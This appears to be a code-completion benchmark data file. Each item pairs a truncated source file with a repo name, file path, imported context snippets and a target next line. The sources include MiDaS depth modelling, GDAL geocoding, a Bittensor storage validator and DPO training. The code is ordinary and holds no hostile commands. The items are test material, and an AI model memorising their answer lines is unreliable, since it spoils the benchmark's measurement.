model except its encoder and positional encodings. Defaults to 10. encoder_lr_factor (int, optional): Learning rate reduction factor for the encoder in midas model. Defaults to 10. pos_enc_lr_factor (int, optional): Learning rate reduction factor for positional encodings in the base midas model. Defaults to 10. """ super().__init__() self.core = core self.max_depth = max_depth self.min_depth = min_depth self.min_temp = min_temp self.bin_centers_type = bin_centers_type self.midas_lr_factor = midas_lr_factor self.encoder_lr_factor = encoder_lr_factor self.pos_enc_lr_factor = pos_enc_lr_factor self.train_midas = train_midas self.inverse_midas = inverse_midas if self.encoder_lr_factor <= 0: self.core.freeze_encoder( freeze_rel_pos=self.pos_enc_lr_factor <= 0) N_MIDAS_OUT = 32 btlnck_features = self.core.output_channels[0] num_out_features = self.core.output_channels[1:] self.conv2 = nn.Conv2d(btlnck_features, btlnck_features, kernel_size=1, stride=1, padding=0) # btlnck conv if bin_centers_type == "normed": SeedBinRegressorLayer = SeedBinRegressor Attractor = AttractorLayer elif bin_centers_type == "softplus": SeedBinRegressorLayer = SeedBinRegressorUnnormed Attractor = AttractorLayerUnnormed elif bin_centers_type == "hybrid1": SeedBinRegressorLayer = SeedBinRegressor Attractor = AttractorLayerUnnormed elif bin_centers_type == "hybrid2": SeedBinRegressorLayer = SeedBinRegressorUnnormed Attractor = AttractorLayer else: raise ValueError( "bin_centers_type should be one of 'normed', 'softplus', 'hybrid1', 'hybrid2'") self.seed_bin_regressor = SeedBinRegressorLayer( btlnck_features, n_bins=n_bins, min_depth=min_depth, max_depth=max_depth)
self.seed_projector = Projector(btlnck_features, bin_embedding_dim)
5
2023-10-28 14:23:27+00:00
12k
samholt/ActiveObservingInContinuous-timeControl
train_all_models.py
[ { "identifier": "get_config", "path": "config.py", "snippet": "def get_config():\n defaults = default_config()\n args = parse_args(defaults)\n defaults.update(args)\n return defaults" }, { "identifier": "seed_all", "path": "config.py", "snippet": "def seed_all(seed=None):\n ...
import logging import traceback import torch import wandb import logging import os import time from copy import deepcopy from functools import partial from torch import multiprocessing from tqdm import tqdm from config import get_config, seed_all from mppi_with_model_active_observing import mppi_with_model_evaluate_single_step_active_observing from train_utils import train_model from config import dotdict, seed_all from config import dotdict, seed_all from pathlib import Path
7,981
device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu") TRAINABLE_MODELS = ["pe", "pe-discrete"] ENVIRONMENTS = ["oderl-pendulum", "oderl-cartpole", "oderl-cancer", "oderl-acrobot"] SAMPLING_POLICIES = ["discrete_monitoring", "discrete_planning", "continuous_planning", "active_observing_control"] RETRAIN = False FORCE_RETRAIN = False START_FROM_CHECKPOINT = False MODEL_TRAIN_SEED = 0 PRINT_SETTINGS = False def train_model_wrapper(args, **kwargs): try: (env_name, model_name) = args config = kwargs["config"] config = dotdict(config) kwargs["config"] = config logger = create_logger_in_process(config.log_path) logger.info(f"[Now training model] {model_name} \t {env_name}") seed_all(config.seed_start) model, results = train_model(model_name, env_name, **kwargs) results["errored"] = False except Exception as e: logger.exception(f"[Error] {e}") logger.info( f"[Failed training model] {env_name} {model_name} delay={delay} \t model_seed={MODEL_TRAIN_SEED} \t | error={e}" ) traceback.print_exc() results = {"errored": True} print("") results.update({"model_name": model_name, "env_name": env_name}) logger.info(f"[Training Result] {model_name} result={results}") return results def mppi_with_model_evaluate_single_step_wrapper(args, **kwargs): try: (env_name, model_name, threshold_percent, sampling_policy, seed) = args seed_all(seed) config = kwargs["config"] config = dotdict(deepcopy(config)) config.observing_var_threshold = threshold_percent kwargs["config"] = config logger = create_logger_in_process(config.log_path) logger.info(f"[Now evaluating policy] {(env_name, model_name, threshold_percent, sampling_policy, seed)}")
device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu") TRAINABLE_MODELS = ["pe", "pe-discrete"] ENVIRONMENTS = ["oderl-pendulum", "oderl-cartpole", "oderl-cancer", "oderl-acrobot"] SAMPLING_POLICIES = ["discrete_monitoring", "discrete_planning", "continuous_planning", "active_observing_control"] RETRAIN = False FORCE_RETRAIN = False START_FROM_CHECKPOINT = False MODEL_TRAIN_SEED = 0 PRINT_SETTINGS = False def train_model_wrapper(args, **kwargs): try: (env_name, model_name) = args config = kwargs["config"] config = dotdict(config) kwargs["config"] = config logger = create_logger_in_process(config.log_path) logger.info(f"[Now training model] {model_name} \t {env_name}") seed_all(config.seed_start) model, results = train_model(model_name, env_name, **kwargs) results["errored"] = False except Exception as e: logger.exception(f"[Error] {e}") logger.info( f"[Failed training model] {env_name} {model_name} delay={delay} \t model_seed={MODEL_TRAIN_SEED} \t | error={e}" ) traceback.print_exc() results = {"errored": True} print("") results.update({"model_name": model_name, "env_name": env_name}) logger.info(f"[Training Result] {model_name} result={results}") return results def mppi_with_model_evaluate_single_step_wrapper(args, **kwargs): try: (env_name, model_name, threshold_percent, sampling_policy, seed) = args seed_all(seed) config = kwargs["config"] config = dotdict(deepcopy(config)) config.observing_var_threshold = threshold_percent kwargs["config"] = config logger = create_logger_in_process(config.log_path) logger.info(f"[Now evaluating policy] {(env_name, model_name, threshold_percent, sampling_policy, seed)}")
results = mppi_with_model_evaluate_single_step_active_observing(
2
2023-10-24 16:19:14+00:00
12k
s1tools/s1-etad
s1etad/ql.py
[ { "identifier": "Sentinel1Etad", "path": "s1etad/product.py", "snippet": "class Sentinel1Etad:\n \"\"\"Sentinel-1 ETAD product.\n\n Class to decode and access the elements of the Sentinel ETAD product\n which specification is governed by ETAD-DLR-PS-0014.\n\n The index operator [] (implement...
import functools import os import numpy as np from typing import List, Optional, Tuple from typing import Literal from typing_extensions import Literal from osgeo import gdal, osr from . import Sentinel1Etad, ECorrectionType from .product import CorrectionType # noqa from matplotlib import cm from .kmz import Colorizer # noqa
9,097
srs.SetWellKnownGeogCS(srs_str) gcps = create_gcps(lat, lon, h, gcp_step) ds.SetGCPs(gcps, srs) _write_band_data(ds.GetRasterBand(1), data, nodata) return ds def _clip_bbox(bbox, q, margin=0): return ( np.floor(bbox[0] / q) * q - margin * q, np.floor(bbox[1] / q) * q - margin * q, np.ceil(bbox[2] / q) * q + margin * q, np.ceil(bbox[3] / q) * q + margin * q, ) def _compute_gcp_spacing(xsize, ysize, max_gcp_num: int = MAX_GCP_NUM): # assume 200 x 200 m ground spacing for ETAD products gcp_step = (25, 25) # 5 x 5 km # gcp_step = (50, 50) # 10 x 10 km # gcp_step = (100, 100) # 20 x 20 km while (ysize // gcp_step[0]) * (xsize // gcp_step[1]) > max_gcp_num: # increase the step only in the azimuth direction gcp_step = (gcp_step[0] * 2, gcp_step[1]) return gcp_step @functools.lru_cache() # COMPATIBILITY with Python < 3.8 def _get_color_table(name=DEFAULT_COLOR_TABLE_NAME): cmap = getattr(cm, name) # return Colorizer(1, 255, color_table=cmap).gdal_palette() table = gdal.ColorTable() table.SetColorEntry(0, (0, 0, 0, 0)) # zero is transparent for i, v in enumerate(np.linspace(0.0, 1.0, 255), start=1): table.SetColorEntry(i, cmap(v, bytes=True)) return table def save_geocoded_data( outfile, data, lat, lon, h=None, *, gcp_step: Optional[Tuple[int, int]] = None, srs="wgs84", out_spacing=DEFAULT_LATLON_SPACING_DEG, drv_name="GTIFF", creation_options=None, palette=DEFAULT_COLOR_TABLE_NAME, margin=100, ): """Save a geo-coded version of input data into a GDAL dataset.""" ysize, xsize = data.shape if gcp_step is None: gcp_step = _compute_gcp_spacing(xsize, ysize) # dataset with GCP grid ds_sr_with_gcps = save_with_gcps( "", data, lat=lat, lon=lon, h=h, gcp_step=gcp_step, drv_name="MEM" ) # geocode the floating point image bbox = (lon.min(), lat.min(), lon.max(), lat.max()) bbox = _clip_bbox(bbox, out_spacing, margin=margin) ds_geocoded_float = gdal.Warp( "", ds_sr_with_gcps, format="MEM", dstSRS=srs, xRes=out_spacing, yRes=out_spacing, targetAlignedPixels=True, outputBounds=bbox, outputBoundsSRS=srs, ) # scale the geocoded image to bytes scale_params = [[data.min(), data.max(), 0, 255]] # NOTE: list of lists ds_geocoded_bytes = gdal.Translate( "", ds_geocoded_float, format="MEM", outputType=gdal.GDT_Byte, noData=0, scaleParams=scale_params, ) # attache the color palette if isinstance(palette, str): palette = _get_color_table() band = ds_geocoded_bytes.GetRasterBand(1) band.SetRasterColorTable(palette) band.SetRasterColorInterpretation(gdal.GCI_PaletteIndex) del band # Save to disk if creation_options is None: creation_options = [] ds_out = gdal.Translate( os.fspath(outfile), ds_geocoded_bytes, format=drv_name, creationOptions=creation_options, ) # , rgbExpand='rgba') return ds_out def etad2ql( etad, outpath, *,
"""Geo-coded QuickLook image generation for ETAD.""" try: except ImportError: MAX_GCP_NUM = 10000 # empirical threshold DEFAULT_LATLON_SPACING_DEG = 0.005 # deg --> 550m @ equator, 50 @ lat=85deg DEFAULT_COLOR_TABLE_NAME = "jet" # form matplotlib def _write_band_data(band, data, nodata: float = -9999.0): if hasattr(data, "filled"): data = data.filled(nodata) band.WriteArray(data) band.SetNoDataValue(nodata) def create_gcps(lat, lon, h=None, gcp_step=(10, 10)) -> List[gdal.GCP]: """Generate a sub-sampled grid of GCPs form input coordinate matrices.""" assert lat.shape == lon.shape ysize, xsize = lat.shape ystep, xstep = gcp_step masks = [ data.mask if hasattr(data, "mask") else None for data in (lat, lon, h) ] mask: Optional[np.array] = None if masks: mask = functools.reduce(np.logical_or, masks) gcps = [] for line in range(0, ysize, ystep): for pix in range(0, xsize, xstep): if mask is None or mask[line, pix]: continue height = h[line, pix] if h is not None else 0.0 gcp_info = "" gcp_id = f"{len(gcps)}" gcp = gdal.GCP( lon[line, pix], lat[line, pix], height, pix, line, gcp_info, gcp_id, ) gcps.append(gcp) assert 0 < len(gcps) <= MAX_GCP_NUM return gcps def save_with_gcps( outfile: str, data, lat, lon, h=None, *, drv_name: str = "GTIFF", nodata: float = -9999.0, gcp_step=(10, 10), srs="wgs84", creation_options=None, ): """Save data into a GDAL dataset and GCPs for coordinates matrices.""" drv = gdal.GetDriverByName(drv_name) assert drv is not None ysize, xsize = data.shape if creation_options is None: creation_options = [] ds = drv.Create( str(outfile), xsize=xsize, ysize=ysize, bands=1, eType=gdal.GDT_Float32, options=creation_options, ) if isinstance(srs, str): srs_str = srs srs = osr.SpatialReference() srs.SetWellKnownGeogCS(srs_str) gcps = create_gcps(lat, lon, h, gcp_step) ds.SetGCPs(gcps, srs) _write_band_data(ds.GetRasterBand(1), data, nodata) return ds def _clip_bbox(bbox, q, margin=0): return ( np.floor(bbox[0] / q) * q - margin * q, np.floor(bbox[1] / q) * q - margin * q, np.ceil(bbox[2] / q) * q + margin * q, np.ceil(bbox[3] / q) * q + margin * q, ) def _compute_gcp_spacing(xsize, ysize, max_gcp_num: int = MAX_GCP_NUM): # assume 200 x 200 m ground spacing for ETAD products gcp_step = (25, 25) # 5 x 5 km # gcp_step = (50, 50) # 10 x 10 km # gcp_step = (100, 100) # 20 x 20 km while (ysize // gcp_step[0]) * (xsize // gcp_step[1]) > max_gcp_num: # increase the step only in the azimuth direction gcp_step = (gcp_step[0] * 2, gcp_step[1]) return gcp_step @functools.lru_cache() # COMPATIBILITY with Python < 3.8 def _get_color_table(name=DEFAULT_COLOR_TABLE_NAME): cmap = getattr(cm, name) # return Colorizer(1, 255, color_table=cmap).gdal_palette() table = gdal.ColorTable() table.SetColorEntry(0, (0, 0, 0, 0)) # zero is transparent for i, v in enumerate(np.linspace(0.0, 1.0, 255), start=1): table.SetColorEntry(i, cmap(v, bytes=True)) return table def save_geocoded_data( outfile, data, lat, lon, h=None, *, gcp_step: Optional[Tuple[int, int]] = None, srs="wgs84", out_spacing=DEFAULT_LATLON_SPACING_DEG, drv_name="GTIFF", creation_options=None, palette=DEFAULT_COLOR_TABLE_NAME, margin=100, ): """Save a geo-coded version of input data into a GDAL dataset.""" ysize, xsize = data.shape if gcp_step is None: gcp_step = _compute_gcp_spacing(xsize, ysize) # dataset with GCP grid ds_sr_with_gcps = save_with_gcps( "", data, lat=lat, lon=lon, h=h, gcp_step=gcp_step, drv_name="MEM" ) # geocode the floating point image bbox = (lon.min(), lat.min(), lon.max(), lat.max()) bbox = _clip_bbox(bbox, out_spacing, margin=margin) ds_geocoded_float = gdal.Warp( "", ds_sr_with_gcps, format="MEM", dstSRS=srs, xRes=out_spacing, yRes=out_spacing, targetAlignedPixels=True, outputBounds=bbox, outputBoundsSRS=srs, ) # scale the geocoded image to bytes scale_params = [[data.min(), data.max(), 0, 255]] # NOTE: list of lists ds_geocoded_bytes = gdal.Translate( "", ds_geocoded_float, format="MEM", outputType=gdal.GDT_Byte, noData=0, scaleParams=scale_params, ) # attache the color palette if isinstance(palette, str): palette = _get_color_table() band = ds_geocoded_bytes.GetRasterBand(1) band.SetRasterColorTable(palette) band.SetRasterColorInterpretation(gdal.GCI_PaletteIndex) del band # Save to disk if creation_options is None: creation_options = [] ds_out = gdal.Translate( os.fspath(outfile), ds_geocoded_bytes, format=drv_name, creationOptions=creation_options, ) # , rgbExpand='rgba') return ds_out def etad2ql( etad, outpath, *,
correction_type: CorrectionType = ECorrectionType.SUM,
1
2023-10-27 13:47:30+00:00
12k
ifrit98/storage-subnet
neurons/validator.py
[ { "identifier": "protocol", "path": "storage/protocol.py", "snippet": "class Store(bt.Synapse):\nclass StoreUser(bt.Synapse):\nclass Challenge(bt.Synapse):\nclass Retrieve(bt.Synapse):\nclass RetrieveUser(bt.Synapse):\n def __str__(self):\n def __str__(self):\n def __str__(self):" }, { ...
import os import time import torch import base64 import typing import asyncio import aioredis import threading import traceback import bittensor as bt import subprocess from shlex import quote from copy import deepcopy from loguru import logger from pprint import pformat from traceback import print_exception from substrateinterface.base import SubstrateInterface from storage import protocol from storage.shared.subtensor import get_current_block from storage.shared.weights import should_set_weights from storage.validator.utils import get_current_validtor_uid_round_robin from storage.validator.config import config, check_config, add_args from storage.validator.state import ( should_checkpoint, checkpoint, should_reinit_wandb, reinit_wandb, load_state, save_state, init_wandb, log_event, ) from storage.validator.weights import ( set_weights_for_validator, ) from storage.validator.database import purge_challenges_for_all_hotkeys from storage.validator.forward import forward from storage.validator.rebalance import rebalance_data from storage.validator.encryption import setup_encryption_wallet
10,100
bt.logging.debug("loading wandb") init_wandb(self) if self.config.neuron.challenge_sample_size == 0: self.config.neuron.challenge_sample_size = self.metagraph.n self.prev_step_block = get_current_block(self.subtensor) self.step = 0 # Start with 0 monitor pings # TODO: load this from disk instead of reset on restart self.monitor_lookup = {uid: 0 for uid in self.metagraph.uids.tolist()} # Instantiate runners self.should_exit: bool = False self.subscription_is_running: bool = False self.subscription_thread: threading.Thread = None self.last_registered_block = 0 self.rebalance_queue = [] def run(self): bt.logging.info("run()") if self.config.database.purge_challenges: bt.logging.info("purging challenges") async def run_purge(): await asyncio.gather(purge_challenges_for_all_hotkeys(self.database)) self.loop.run_until_complete(run_purge()) bt.logging.info("purged challenges.") load_state(self) checkpoint(self) bt.logging.info("starting subscription handler") self.run_subscription_thread() try: while 1: start_epoch = time.time() self.metagraph.sync(subtensor=self.subtensor) prev_set_weights_block = self.metagraph.last_update[ self.my_subnet_uid ].item() # --- Wait until next step epoch. current_block = self.subtensor.get_current_block() while ( current_block - self.prev_step_block < self.config.neuron.blocks_per_step ): # --- Wait for next block. time.sleep(1) current_block = self.subtensor.get_current_block() time.sleep(5) if not self.wallet.hotkey.ss58_address in self.metagraph.hotkeys: raise Exception( f"Validator is not registered - hotkey {self.wallet.hotkey.ss58_address} not in metagraph" ) bt.logging.info( f"step({self.step}) block({get_current_block(self.subtensor)})" ) # Run multiple forwards. async def run_forward(): coroutines = [ forward(self) for _ in range(self.config.neuron.num_concurrent_forwards) ] await asyncio.gather(*coroutines) self.loop.run_until_complete(run_forward()) # Resync the network state bt.logging.info("Checking if should checkpoint") current_block = get_current_block(self.subtensor) should_checkpoint_validator = should_checkpoint( current_block, self.prev_step_block, self.config.neuron.checkpoint_block_length, ) bt.logging.debug( f"should_checkpoint() params: (current block) {current_block} (prev block) {self.prev_step_block} (checkpoint_block_length) {self.config.neuron.checkpoint_block_length}" ) bt.logging.debug(f"should checkpoint ? {should_checkpoint_validator}") if should_checkpoint_validator: bt.logging.info(f"Checkpointing...") checkpoint(self) # Set the weights on chain. bt.logging.info(f"Checking if should set weights") validator_should_set_weights = should_set_weights( get_current_block(self.subtensor), prev_set_weights_block, self.config.neuron.set_weights_epoch_length, self.config.neuron.disable_set_weights, ) bt.logging.debug( f"Should validator check weights? -> {validator_should_set_weights}" ) if validator_should_set_weights: bt.logging.debug(f"Setting weights {self.moving_averaged_scores}") set_weights_for_validator( subtensor=self.subtensor, wallet=self.wallet, metagraph=self.metagraph, netuid=self.config.netuid, moving_averaged_scores=self.moving_averaged_scores, wandb_on=self.config.wandb.on, ) prev_set_weights_block = get_current_block(self.subtensor) save_state(self) # Rollover wandb to a new run. if should_reinit_wandb(self): bt.logging.info(f"Reinitializing wandb")
# The MIT License (MIT) # Copyright © 2023 Yuma Rao # Copyright © 2023 philanthrope # Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated # documentation files (the “Software”), to deal in the Software without restriction, including without limitation # the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, # and to permit persons to whom the Software is furnished to do so, subject to the following conditions: # The above copyright notice and this permission notice shall be included in all copies or substantial portions of # the Software. # THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO # THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION # OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER # DEALINGS IN THE SOFTWARE. def MockDendrite(): pass class neuron: """ A Neuron instance represents a node in the Bittensor network that performs validation tasks. It manages the data validation cycle, including storing, challenging, and retrieving data, while also participating in the network consensus. Attributes: subtensor (bt.subtensor): The interface to the Bittensor network's blockchain. wallet (bt.wallet): Cryptographic wallet containing keys for transactions and encryption. metagraph (bt.metagraph): Graph structure storing the state of the network. database (redis.StrictRedis): Database instance for storing metadata and proofs. moving_averaged_scores (torch.Tensor): Tensor tracking performance scores of other nodes. """ @classmethod def check_config(cls, config: "bt.Config"): check_config(cls, config) @classmethod def add_args(cls, parser): add_args(cls, parser) @classmethod def config(cls): return config(cls) subtensor: "bt.subtensor" wallet: "bt.wallet" metagraph: "bt.metagraph" def __init__(self): self.config = neuron.config() self.check_config(self.config) bt.logging(config=self.config, logging_dir=self.config.neuron.full_path) print(self.config) bt.logging.info("neuron.__init__()") # Init device. bt.logging.debug("loading device") self.device = torch.device(self.config.neuron.device) bt.logging.debug(str(self.device)) # Init subtensor bt.logging.debug("loading subtensor") self.subtensor = ( bt.MockSubtensor() if self.config.neuron.mock_subtensor else bt.subtensor(config=self.config) ) bt.logging.debug(str(self.subtensor)) # Init validator wallet. bt.logging.debug("loading wallet") self.wallet = bt.wallet(config=self.config) self.wallet.create_if_non_existent() if not self.config.wallet._mock: if not self.subtensor.is_hotkey_registered_on_subnet( hotkey_ss58=self.wallet.hotkey.ss58_address, netuid=self.config.netuid ): raise Exception( f"Wallet not currently registered on netuid {self.config.netuid}, please first register wallet before running" ) bt.logging.debug(f"wallet: {str(self.wallet)}") # Setup dummy wallet for encryption purposes. No password needed. self.encryption_wallet = setup_encryption_wallet( wallet_name=self.config.encryption.wallet_name, wallet_hotkey=self.config.encryption.hotkey, password=self.config.encryption.password, ) self.encryption_wallet.coldkey # Unlock the coldkey. bt.logging.info(f"loading encryption wallet {self.encryption_wallet}") # Init metagraph. bt.logging.debug("loading metagraph") self.metagraph = bt.metagraph( netuid=self.config.netuid, network=self.subtensor.network, sync=False ) # Make sure not to sync without passing subtensor self.metagraph.sync(subtensor=self.subtensor) # Sync metagraph with subtensor. bt.logging.debug(str(self.metagraph)) # Get initial block self.current_block = self.subtensor.get_current_block() # Setup database self.database = aioredis.StrictRedis( host=self.config.database.host, port=self.config.database.port, db=self.config.database.index, ) self.db_semaphore = asyncio.Semaphore() # Init Weights. bt.logging.debug("loading moving_averaged_scores") self.moving_averaged_scores = torch.zeros((self.metagraph.n)).to(self.device) bt.logging.debug(str(self.moving_averaged_scores)) self.my_subnet_uid = self.metagraph.hotkeys.index( self.wallet.hotkey.ss58_address ) bt.logging.info(f"Running validator on uid: {self.my_subnet_uid}") # Dendrite pool for querying the network. bt.logging.debug("loading dendrite_pool") if self.config.neuron.mock_dendrite_pool: self.dendrite = MockDendrite() else: self.dendrite = bt.dendrite(wallet=self.wallet) bt.logging.debug(str(self.dendrite)) # Init the event loop. self.loop = asyncio.get_event_loop() # Init wandb. if not self.config.wandb.off: bt.logging.debug("loading wandb") init_wandb(self) if self.config.neuron.challenge_sample_size == 0: self.config.neuron.challenge_sample_size = self.metagraph.n self.prev_step_block = get_current_block(self.subtensor) self.step = 0 # Start with 0 monitor pings # TODO: load this from disk instead of reset on restart self.monitor_lookup = {uid: 0 for uid in self.metagraph.uids.tolist()} # Instantiate runners self.should_exit: bool = False self.subscription_is_running: bool = False self.subscription_thread: threading.Thread = None self.last_registered_block = 0 self.rebalance_queue = [] def run(self): bt.logging.info("run()") if self.config.database.purge_challenges: bt.logging.info("purging challenges") async def run_purge(): await asyncio.gather(purge_challenges_for_all_hotkeys(self.database)) self.loop.run_until_complete(run_purge()) bt.logging.info("purged challenges.") load_state(self) checkpoint(self) bt.logging.info("starting subscription handler") self.run_subscription_thread() try: while 1: start_epoch = time.time() self.metagraph.sync(subtensor=self.subtensor) prev_set_weights_block = self.metagraph.last_update[ self.my_subnet_uid ].item() # --- Wait until next step epoch. current_block = self.subtensor.get_current_block() while ( current_block - self.prev_step_block < self.config.neuron.blocks_per_step ): # --- Wait for next block. time.sleep(1) current_block = self.subtensor.get_current_block() time.sleep(5) if not self.wallet.hotkey.ss58_address in self.metagraph.hotkeys: raise Exception( f"Validator is not registered - hotkey {self.wallet.hotkey.ss58_address} not in metagraph" ) bt.logging.info( f"step({self.step}) block({get_current_block(self.subtensor)})" ) # Run multiple forwards. async def run_forward(): coroutines = [ forward(self) for _ in range(self.config.neuron.num_concurrent_forwards) ] await asyncio.gather(*coroutines) self.loop.run_until_complete(run_forward()) # Resync the network state bt.logging.info("Checking if should checkpoint") current_block = get_current_block(self.subtensor) should_checkpoint_validator = should_checkpoint( current_block, self.prev_step_block, self.config.neuron.checkpoint_block_length, ) bt.logging.debug( f"should_checkpoint() params: (current block) {current_block} (prev block) {self.prev_step_block} (checkpoint_block_length) {self.config.neuron.checkpoint_block_length}" ) bt.logging.debug(f"should checkpoint ? {should_checkpoint_validator}") if should_checkpoint_validator: bt.logging.info(f"Checkpointing...") checkpoint(self) # Set the weights on chain. bt.logging.info(f"Checking if should set weights") validator_should_set_weights = should_set_weights( get_current_block(self.subtensor), prev_set_weights_block, self.config.neuron.set_weights_epoch_length, self.config.neuron.disable_set_weights, ) bt.logging.debug( f"Should validator check weights? -> {validator_should_set_weights}" ) if validator_should_set_weights: bt.logging.debug(f"Setting weights {self.moving_averaged_scores}") set_weights_for_validator( subtensor=self.subtensor, wallet=self.wallet, metagraph=self.metagraph, netuid=self.config.netuid, moving_averaged_scores=self.moving_averaged_scores, wandb_on=self.config.wandb.on, ) prev_set_weights_block = get_current_block(self.subtensor) save_state(self) # Rollover wandb to a new run. if should_reinit_wandb(self): bt.logging.info(f"Reinitializing wandb")
reinit_wandb(self)
10
2023-10-26 18:54:47+00:00
12k
Eclectic-Sheep/sheeprlhf
sheeprlhf/task/train/dpo.py
[ { "identifier": "DPOAgent", "path": "sheeprlhf/agent/dpo.py", "snippet": "class DPOAgent:\n \"\"\"Agent model for DPO training.\"\"\"\n\n _reference: ActorModel\n _finetune_mode: FINETUNE_MODE\n _actor: Optional[ActorModel] = None\n _lora_enabled: bool\n _sft_checkpoint_path: str\n ...
import time import torch from pathlib import Path from typing import Any, Dict from lightning import Fabric from torch.utils.data import DataLoader from tqdm import tqdm from transformers import GenerationConfig, PreTrainedTokenizer from sheeprlhf.agent.dpo import DPOAgent from sheeprlhf.data.base import TextDataset from sheeprlhf.data.collate import CompareCollate from sheeprlhf.loss.dpo import dpo_loss from sheeprlhf.model.actor import ActorModel from sheeprlhf.model.casual import CasualModel from sheeprlhf.structure.data import DataConfig from sheeprlhf.structure.generation import GenConfig from sheeprlhf.structure.model import ModelConfig from sheeprlhf.structure.task import DPOConfig from sheeprlhf.utils.data import prepare_generation_config, validate_dataset from sheeprlhf.utils.helper import create_tensorboard_logger, get_log_dir, log_text from sheeprlhf.utils.hydra import instantiate_from_config from sheeprlhf.utils.metric import DPOMetricManager, reward_accuracy from sheeprlhf.utils.model import compute_grad_norm, prepare_optimizer_parameters from sheeprlhf.utils.registry import register_task from sheeprlhf.utils.scheduler import CosineSchedulerWithWarmup
7,512
@torch.no_grad() def evaluate( # noqa: D103 agent: DPOAgent, task_cfg: DPOConfig, data_cfg: DataConfig, val_dataloader: DataLoader, ) -> float: eval_counter = 0 total_loss = 0.0 total_acc = 0.0 eval_iters = task_cfg.eval_iters for batch in val_dataloader: if not task_cfg.use_masked_targets: batch["chosen_targets"] = batch["chosen_input_ids"].detach().clone() batch["chosen_targets"] = batch["rejected_input_ids"].detach().clone() loss, chosen_rewards, rejected_rewards = dpo_loss( batch=batch, agent=agent, beta=task_cfg.beta, ignore_index=data_cfg.ignore_index, reference_free=task_cfg.reference_free, ) acc = reward_accuracy(chosen_rewards, rejected_rewards) total_loss += loss total_acc += acc eval_counter += 1 if eval_iters is not None and eval_counter >= eval_iters: break average_loss = total_loss / eval_counter average_acc = total_acc / eval_counter return average_loss, average_acc @torch.no_grad() def generate( # noqa: D103 model: CasualModel, tokenizer: PreTrainedTokenizer, generation_config: GenerationConfig, example_prompt: Dict[str, torch.Tensor], device: torch.device, ) -> str: generated = model.generate( input_ids=example_prompt["input_ids"].to(device), attention_mask=example_prompt["attention_mask"].to(device), generation_config=generation_config, ) generated_text = tokenizer.decode(generated[0]) return generated_text @register_task() def main(fabric: Fabric, cfg: Dict[str, Any]): # noqa: D103 task_cfg = DPOConfig(**cfg.task) model_cfg = ModelConfig(**cfg.model) data_cfg = DataConfig(**cfg.data)
@torch.no_grad() def evaluate( # noqa: D103 agent: DPOAgent, task_cfg: DPOConfig, data_cfg: DataConfig, val_dataloader: DataLoader, ) -> float: eval_counter = 0 total_loss = 0.0 total_acc = 0.0 eval_iters = task_cfg.eval_iters for batch in val_dataloader: if not task_cfg.use_masked_targets: batch["chosen_targets"] = batch["chosen_input_ids"].detach().clone() batch["chosen_targets"] = batch["rejected_input_ids"].detach().clone() loss, chosen_rewards, rejected_rewards = dpo_loss( batch=batch, agent=agent, beta=task_cfg.beta, ignore_index=data_cfg.ignore_index, reference_free=task_cfg.reference_free, ) acc = reward_accuracy(chosen_rewards, rejected_rewards) total_loss += loss total_acc += acc eval_counter += 1 if eval_iters is not None and eval_counter >= eval_iters: break average_loss = total_loss / eval_counter average_acc = total_acc / eval_counter return average_loss, average_acc @torch.no_grad() def generate( # noqa: D103 model: CasualModel, tokenizer: PreTrainedTokenizer, generation_config: GenerationConfig, example_prompt: Dict[str, torch.Tensor], device: torch.device, ) -> str: generated = model.generate( input_ids=example_prompt["input_ids"].to(device), attention_mask=example_prompt["attention_mask"].to(device), generation_config=generation_config, ) generated_text = tokenizer.decode(generated[0]) return generated_text @register_task() def main(fabric: Fabric, cfg: Dict[str, Any]): # noqa: D103 task_cfg = DPOConfig(**cfg.task) model_cfg = ModelConfig(**cfg.model) data_cfg = DataConfig(**cfg.data)
gen_cfg = GenConfig(**cfg.generation)
7
2023-10-31 12:02:02+00:00
12k
cpacker/MemGPT
memgpt/local_llm/chat_completion_proxy.py
[ { "identifier": "create_dynamic_model_from_function", "path": "memgpt/local_llm/grammars/gbnf_grammar_generator.py", "snippet": "def create_dynamic_model_from_function(func: Callable, add_inner_thoughts: bool = False):\n \"\"\"\n Creates a dynamic Pydantic model from a given function's type hints ...
import os import requests import json import uuid from datetime import datetime from box import Box from memgpt.local_llm.grammars.gbnf_grammar_generator import create_dynamic_model_from_function, generate_gbnf_grammar_and_documentation from memgpt.local_llm.webui.api import get_webui_completion from memgpt.local_llm.webui.legacy_api import get_webui_completion as get_webui_completion_legacy from memgpt.local_llm.lmstudio.api import get_lmstudio_completion from memgpt.local_llm.llamacpp.api import get_llamacpp_completion from memgpt.local_llm.koboldcpp.api import get_koboldcpp_completion from memgpt.local_llm.ollama.api import get_ollama_completion from memgpt.local_llm.vllm.api import get_vllm_completion from memgpt.local_llm.llm_chat_completion_wrappers import simple_summary_wrapper from memgpt.local_llm.constants import DEFAULT_WRAPPER from memgpt.local_llm.utils import get_available_wrappers, count_tokens from memgpt.local_llm.function_parser import patch_function from memgpt.prompts.gpt_summarize import SYSTEM as SUMMARIZE_SYSTEM_MESSAGE from memgpt.errors import LocalLLMConnectionError, LocalLLMError from memgpt.constants import CLI_WARNING_PREFIX, JSON_ENSURE_ASCII from memgpt.models.chat_completion_response import ChatCompletionResponse, Choice, Message, ToolCall, UsageStatistics from memgpt.utils import get_tool_call_id from memgpt.utils import printd from memgpt.utils import printd
9,549
